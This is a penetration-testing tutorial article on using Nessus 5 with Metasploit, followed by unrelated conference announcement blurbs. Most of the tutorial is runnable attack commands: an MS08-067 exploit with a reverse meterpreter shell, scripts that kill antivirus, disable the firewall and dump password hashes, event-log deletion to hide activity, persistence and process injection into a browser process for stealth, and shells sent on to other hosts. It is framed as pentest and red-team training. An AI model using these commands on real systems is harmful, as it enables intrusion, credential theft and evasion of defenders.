|By David Dodd||
|September 16, 2012 02:00 PM EDT||
The Metasploit Framework is a penetration testing toolkit, exploit development platform, and research tool. The framework includes hundreds of working remote exploits for a variety of platforms. Payloads, encoders, and nop slide generators can be mixed and matched with exploit modules to solve almost any exploit-related task. This tutorial will walk you through how to use the latest version of Nessus pre-built plugin filter ‘Metasploit Framework' in your pentest assignments. It will also cover some useful metasploit tips to achieve privilege escalation. Wouldn't it be great to have a shell on another box just in case you lose your meterpreter shell? This tutorial covers this and other metasploit tips.
Integrating Nessus 5 with Metasploit
With the release of Nessus 5 by Tenable Network Security users now have better filtering in policy creation, analysis, reporting, and faster scanning time. The product allows you to select only those checks that cover vulnerabilities whose exploits are in the Metasploit Exploit framework for both local and remote exploits. To start go to the Tenable site http://www.tenable.com/products and download Nessus 5 and install. The new installation will install in /opt/nessus and will install overtop any previous version of the product. Start nessus daemon and open up your web browser to https://localhost:8834 login and go to policies and click add (see Figure #1) give your policy a title and click next. On the Credentials page leave it as default and click next at the bottom. The Plugins page will follow where you will add a filter and will be presented with a drop down with many different options, choose the ‘Metasploit Exploit Framework' make sure that ‘is equal to' and ‘true' is selected and click save (see Figure #2). Next disable all plugins and select the Family name that you would want to enable and click on the enable plugins in the upper right hand corner of the page. Do this for all Family plugins that you would like to enable and click submit at the bottom.
Figure #1 open web browser on https://localhost:8834
Figure #2 Select Metasploit Exploit Framework from the drop down
To begin a scan click on the scans and add, this will allow you to name the scan and type either run now, scheduled, or template. The policy dropdown is where you pick your policy that you created earlier followed by selecting a target. Now you can start a scan and the time it will take is surprisingly fast. After you are given a report that lists the Plugin ID, count, severity, name, and family of each as they relate to the Metasploit Framework (see Figure 3). The name section gives what exploit within Metasploit can be used successfully against the box.
Figure #3 Report gives what exploit in Metasploit can be used successfully on the box
You can also start a scan in the Metasploit Framework itself and use the plugin. Start the msfconsole and load nessus.
msf > load nessus
Once the plugins are loaded connect to the server.
msf > nessus_connect cr0wn:[email protected] ok
Now show the available plugins with the nessus_policy_list command (see Figure #4).
Figure #4 nessus_policy_list
You can use the policy to scan the network by using the policy ID, name of scan, and specifying a target IP range using the nessus_scan_new command (see Figure #5). For this scan we will be targeting a single Windows XP box with the IP address of 10.10.3.219. If you are connected to a database within the Metasploit Framework you can open a view the information from the console otherwise you can view them form the web browser. Now you can select an exploit to use on the target system such as the MS08-067, or MS06-040.
Figure #5 nessus_scan_new
Basic Exploitation using Metasploit
At this point we will use the MS08-067 flaw to our advantage and get a meterpreter shell on the box. To accomplish this do the following:
msf > use exploit/windows/smb/ms08_067_netapi
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.218
msf > set lport 5555
msf > set rhost 10.10.3.188
msf > exploit
Useful meterpreter commands
Now we are left with a meterpreter shell on the windows box and there are a number of things that can be done now. Checking to see if the box your on is a virtual machine, has anti-virus, what the local subnet looks like, and what kind of security configuration is on the victim system is a good first start. Metasploit comes with some useful scripts to perform these tasks.
meterpreter > run checkvm
This will show you the help menu with options, choose -d to disable built in firewall.
meterpreter > run getcountermeasure -h
meterpreter > run getcountermeasure -d
To kill most antivirus, run the ‘killav' script.
meterpreter > run killav
To identify the local subnet mask that the victim is on run the ‘get_local_subnets' script
meterpreter > run get_local_subnets
You may want to search the host for interesting information such as *.pdf, *.txt, *.doc, *.jpg, etc. Use the search function in meterpreter.
meterpreter > search -h
meterpreter > search -f *.pdf
To get some detailed information about the system use the ‘winenum' script and the ‘scraper' script. Winenum script will dump tokens, hashes and provide you with lots of information (see Figure #6). The ‘scraper' script will pull down the registry and system information.
meterpreter > run winenum
meterpreter > run scraper
Figure #6 winenum command
Now we should delete the log files. To do this, open up into the meterpreter scripting menu by using the ‘irb' command. Then issue the following at the >> prompt:
log = client.sys.enentlog.open(‘system')
meterpreter > irb
[*] Starting IRB shell
[*] The ‘client' variable holds the meterpreter client
>> log = client.sys.eventlog.open(‘system')
While we're at it lets go ahead and delete the security log and application log, just change (‘system') to (‘security') & (‘application').
Being able to shove a meterpreter shell to team members that you are performing a pentest with is extremely valuable. This option had not presented itself to me till I took a class on Industrial Control Systems Advanced Cybersecurity (301) given by the US-CERT in Idaho Falls. I would recommend anyone doing work in the realm of ICS/ SCADA systems to take this class. Jeff Hahn and his group at the Idaho National Laboratory are doing great work. The class provides intensive hands-on training on protecting and security industrial control systems from cyber-attacks. On day 4 there is a 12-hour exercise where participants are attacking (Red Team) or defending (Blue Team). I was on the red team and having the ability to throw meterpreter shells to my fellow red team members would be helpful. Here are a few examples of how this is done.
The first example is using the meterpreter script ‘persistence', to see a list of options use the -h switch.
Meterpreter > run persistence -h
Meterpreter > run persistence -X -i 5 -p 5555 -r 10.10.3.180
This would throw a meterpreter session to remote system -r 10.10.3.180 at an interval (5 seconds), at port -p 5555, and would be loaded into and run (-X) every time the machine booted up. The recipient of this would be waiting for the meterpreter shell by using the multi/handler.
msf > use multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set lhost 10.10.3.180
msf > set lport 5555
msf > exploit
The second example is a bit stealthier and has the ability to inject your meterpreter shell into an existing process. After running the ps command from within your meterpreter shell you get a list of running processes. To view a list of running process issue the ‘ps' command.
meterpreter > ps
Look through the list of process and identify PID's that can be used that will not draw attention such as IEXPLORER.EXE PID 3664 (see Figure #7).
Figure #7 ps command
Being able to inject the meterpreter shell into the IEXPLORE.EXE process would be stealthy. Let's run the multi_meter_inject command using the following switches.
meterpreter > run multi_meter_inject -pt windows/meterpreter/reverse_tcp -mr 10.10.3.180 -p 3664
This would throw a meterpreter session to remote system -mr 10.10.3.180, at port -p 3664. The recipient of this would be waiting for the meterpreter shell by using the multi/handler just like above, just change the lport to 3664 (see Figure #8).
Figure #8 Recipient of meterpreter shell using multi_meter_inject
Now when performing some basic analysis on the victim box you can run ‘tasklist' and nothing looks out of place (see Figure #9), but when you run ‘netstat -an' you will see the foreign connection (see Figure #10).
Figure #9 tasklist command
Figure #10 netstat -an command
A third way to send off meterpreter shells to a foreign box for your friends or one that you own is to use the meterpreter script duplicate. At the meterpreter prompt issue the following commands:
meterpreter > run duplicate -h
This will give you the various options.
meterpreter > run duplicate -r 10.10.3.180
This will send a meterpreter shell to the IP address 10.10.3.180 on the default port of 4546 (see Figure #11).
Figure #11 Recipient of meterpreter shell using duplicate
You can run a packet sniffer on the box after you allow your team member to obtain meterpreter shells if you like. This meterpreter script, like the ones above written by Carlos Perez is called packetrecorder and allows some more granularities when capturing packets.
meterpreter > run packetrecorder
This will give you a list of options to use. You will need to determine the interface to listen on; this can be obtained by issuing the following command ‘run packetrecorder -li'. This will give a list of network interfaces; choose one and a destination to write the file to.
meterpreter > run packetrecorder -i -l /home/tmp/
[*] Packet capture interval is 30 Seconds
The file can later be reviewed with wireshark or tcpdump.
SYS-CON Events announced today that IoT Now has been named “Media Sponsor” of SYS-CON's 20th International Cloud Expo, which will take place on June 6–8, 2017, at the Javits Center in New York City, NY. IoT Now explores the evolving opportunities and challenges facing CSPs, and it passes on some lessons learned from those who have taken the first steps in next-gen IoT services.
Mar. 26, 2017 03:30 AM EDT Reads: 3,834
SYS-CON Events announced today that Interoute, owner-operator of one of Europe's largest networks and a global cloud services platform, has been named “Bronze Sponsor” of SYS-CON's 20th Cloud Expo, which will take place on June 6-8, 2017 at the Javits Center in New York, New York. Interoute is the owner-operator of one of Europe's largest networks and a global cloud services platform which encompasses 12 data centers, 14 virtual data centers and 31 colocation centers, with connections to 195 add...
Mar. 26, 2017 03:15 AM EDT Reads: 1,021
SYS-CON Events announced today that MobiDev, a client-oriented software development company, will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place June 6-8, 2017, at the Javits Center in New York City, NY, and the 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. MobiDev is a software company that develops and delivers turn-key mobile apps, websites, web services, and complex softw...
Mar. 26, 2017 01:45 AM EDT Reads: 3,718
DevOps is often described as a combination of technology and culture. Without both, DevOps isn't complete. However, applying the culture to outdated technology is a recipe for disaster; as response times grow and connections between teams are delayed by technology, the culture will die. A Nutanix Enterprise Cloud has many benefits that provide the needed base for a true DevOps paradigm.
Mar. 26, 2017 12:30 AM EDT Reads: 1,892
What sort of WebRTC based applications can we expect to see over the next year and beyond? One way to predict development trends is to see what sorts of applications startups are building. In his session at @ThingsExpo, Arin Sime, founder of WebRTC.ventures, will discuss the current and likely future trends in WebRTC application development based on real requests for custom applications from real customers, as well as other public sources of information,
Mar. 26, 2017 12:15 AM EDT Reads: 750
As businesses adopt functionalities in cloud computing, it’s imperative that IT operations consistently ensure cloud systems work correctly – all of the time, and to their best capabilities. In his session at @BigDataExpo, Bernd Harzog, CEO and founder of OpsDataStore, will present an industry answer to the common question, “Are you running IT operations as efficiently and as cost effectively as you need to?” He will expound on the industry issues he frequently came up against as an analyst, and...
Mar. 26, 2017 12:00 AM EDT Reads: 4,131
Keeping pace with advancements in software delivery processes and tooling is taxing even for the most proficient organizations. Point tools, platforms, open source and the increasing adoption of private and public cloud services requires strong engineering rigor - all in the face of developer demands to use the tools of choice. As Agile has settled in as a mainstream practice, now DevOps has emerged as the next wave to improve software delivery speed and output. To make DevOps work, organization...
Mar. 26, 2017 12:00 AM EDT Reads: 1,737
My team embarked on building a data lake for our sales and marketing data to better understand customer journeys. This required building a hybrid data pipeline to connect our cloud CRM with the new Hadoop Data Lake. One challenge is that IT was not in a position to provide support until we proved value and marketing did not have the experience, so we embarked on the journey ourselves within the product marketing team for our line of business within Progress. In his session at @BigDataExpo, Sum...
Mar. 25, 2017 08:45 PM EDT Reads: 2,797
Apache Hadoop is emerging as a distributed platform for handling large and fast incoming streams of data. Predictive maintenance, supply chain optimization, and Internet-of-Things analysis are examples where Hadoop provides the scalable storage, processing, and analytics platform to gain meaningful insights from granular data that is typically only valuable from a large-scale, aggregate view. One architecture useful for capturing and analyzing streaming data is the Lambda Architecture, represent...
Mar. 25, 2017 08:45 PM EDT Reads: 6,019
Things are changing so quickly in IoT that it would take a wizard to predict which ecosystem will gain the most traction. In order for IoT to reach its potential, smart devices must be able to work together. Today, there are a slew of interoperability standards being promoted by big names to make this happen: HomeKit, Brillo and Alljoyn. In his session at @ThingsExpo, Adam Justice, vice president and general manager of Grid Connect, will review what happens when smart devices don’t work togethe...
Mar. 25, 2017 06:15 PM EDT Reads: 2,575
SYS-CON Events announced today that Ocean9will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Ocean9 provides cloud services for Backup, Disaster Recovery (DRaaS) and instant Innovation, and redefines enterprise infrastructure with its cloud native subscription offerings for mission critical SAP workloads.
Mar. 25, 2017 05:15 PM EDT Reads: 1,961
In his session at @ThingsExpo, Eric Lachapelle, CEO of the Professional Evaluation and Certification Board (PECB), will provide an overview of various initiatives to certifiy the security of connected devices and future trends in ensuring public trust of IoT. Eric Lachapelle is the Chief Executive Officer of the Professional Evaluation and Certification Board (PECB), an international certification body. His role is to help companies and individuals to achieve professional, accredited and worldw...
Mar. 25, 2017 04:00 PM EDT Reads: 556
SYS-CON Events announced today that Technologic Systems Inc., an embedded systems solutions company, will exhibit at SYS-CON's @ThingsExpo, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Technologic Systems is an embedded systems company with headquarters in Fountain Hills, Arizona. They have been in business for 32 years, helping more than 8,000 OEM customers and building over a hundred COTS products that have never been discontinued. Technologic Systems’ pr...
Mar. 25, 2017 01:45 PM EDT Reads: 3,312
SYS-CON Events announced today that CA Technologies has been named “Platinum Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY, and the 21st International Cloud Expo®, which will take place October 31-November 2, 2017, at the Santa Clara Convention Center in Santa Clara, CA. CA Technologies helps customers succeed in a future where every business – from apparel to energy – is being rewritten by software. From ...
Mar. 25, 2017 01:30 PM EDT Reads: 1,749
The taxi industry never saw Uber coming. Startups are a threat to incumbents like never before, and a major enabler for startups is that they are instantly “cloud ready.” If innovation moves at the pace of IT, then your company is in trouble. Why? Because your data center will not keep up with frenetic pace AWS, Microsoft and Google are rolling out new capabilities In his session at 20th Cloud Expo, Don Browning, VP of Cloud Architecture at Turner, will posit that disruption is inevitable for c...
Mar. 25, 2017 01:15 PM EDT Reads: 2,057
SYS-CON Events announced today that Cloudistics, an on-premises cloud computing company, has been named “Bronze Sponsor” of SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Cloudistics delivers a complete public cloud experience with composable on-premises infrastructures to medium and large enterprises. Its software-defined technology natively converges network, storage, compute, virtualization, and management into a ...
Mar. 25, 2017 12:45 PM EDT Reads: 1,910
The explosion of new web/cloud/IoT-based applications and the data they generate are transforming our world right before our eyes. In this rush to adopt these new technologies, organizations are often ignoring fundamental questions concerning who owns the data and failing to ask for permission to conduct invasive surveillance of their customers. Organizations that are not transparent about how their systems gather data telemetry without offering shared data ownership risk product rejection, regu...
Mar. 25, 2017 12:30 PM EDT Reads: 5,071
SYS-CON Events announced today that Loom Systems will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. Founded in 2015, Loom Systems delivers an advanced AI solution to predict and prevent problems in the digital business. Loom stands alone in the industry as an AI analysis platform requiring no prior math knowledge from operators, leveraging the existing staff to succeed in the digital era. With offices in S...
Mar. 25, 2017 12:30 PM EDT Reads: 1,206
SYS-CON Events announced today that CrowdReviews.com has been named “Media Sponsor” of SYS-CON's 20th International Cloud Expo, which will take place on June 6–8, 2017, at the Javits Center in New York City, NY. CrowdReviews.com is a transparent online platform for determining which products and services are the best based on the opinion of the crowd. The crowd consists of Internet users that have experienced products and services first-hand and have an interest in letting other potential buyers...
Mar. 25, 2017 11:00 AM EDT Reads: 3,571
SYS-CON Events announced today that T-Mobile will exhibit at SYS-CON's 20th International Cloud Expo®, which will take place on June 6-8, 2017, at the Javits Center in New York City, NY. As America's Un-carrier, T-Mobile US, Inc., is redefining the way consumers and businesses buy wireless services through leading product and service innovation. The Company's advanced nationwide 4G LTE network delivers outstanding wireless experiences to 67.4 million customers who are unwilling to compromise on ...
Mar. 25, 2017 10:45 AM EDT Reads: 2,123